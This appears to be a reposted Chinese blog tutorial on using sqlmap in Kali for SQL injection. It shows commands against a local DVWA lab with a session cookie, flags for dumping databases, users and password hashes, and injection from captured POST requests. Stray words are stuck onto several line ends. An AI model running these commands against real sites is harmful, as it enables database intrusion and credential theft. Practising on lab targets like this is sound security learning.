kali之使用sqlmap進行sql注入

sqlmap簡介

sqlmap支持五種不一樣的注入模式:javascript

  • 一、基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。
  • 二、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。
  • 三、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
  • 四、聯合查詢注入,可使用union的狀況下的注入。
  • 五、堆查詢注入,能夠同時執行多條語句的執行時的注入。

sqlmap支持的數據庫有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDBjava

cookie注入

登陸網頁後在瀏覽器url欄輸入 javascript:document.cookie或者在console欄中輸入document.cookie便可得到cookiemysql

sqlmap -u "http://可能注入的某個提交參數的url" --cookie="此次提交的cookie"sql

dvwa中測試

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=1129umpqj3j5siclohbkmik7nu" --level 3

--level 表明掃描等級,範圍1~5。數值越大掃描越完整數據庫

--batch --dbs 獲取全部數據庫瀏覽器

--current-db  當前使用的數據庫cookie

--current-user  數據庫使用帳戶session

--users  全部用戶dom

--passwords  數據庫帳戶與密碼工具

-D dvwa --tables  查看指定數據庫(例如:dvwa)的全部表

-D dvwa -T users --columns  查看指定數據庫指定表的全部字段

執行完以後結果以下

顯示結果被記錄在/root/.sqlmap/output/127.0.0.1下面

log是注入的日誌,target.txt是執行的sqlmap命令,session.sqlite能夠用sqlitespy查看書庫內容

從post數據包中注入

可使用burpsuite或者temperdata等工具來抓取post包

sqlmap -r 「c:\tools\request.txt」 -p 「username」 –dbms mysql    指定username參數

sqlmap詳細命令

  • –is-dba 當前用戶權限(是否爲root權限)
  • –dbs 全部數據庫
  • –current-db 網站當前數據庫
  • –users 全部數據庫用戶
  • –current-user 當前數據庫用戶
  • –random-agent 構造隨機user-agent
  • –passwords 數據庫密碼
  • –proxy http://local:8080 –threads 10 (能夠自定義線程加速) 代理
  • –time-sec=TIMESEC DBMS響應的延遲時間(默認爲5秒)

參考:http://www.vuln.cn/1992 

相關文章
相關標籤/搜索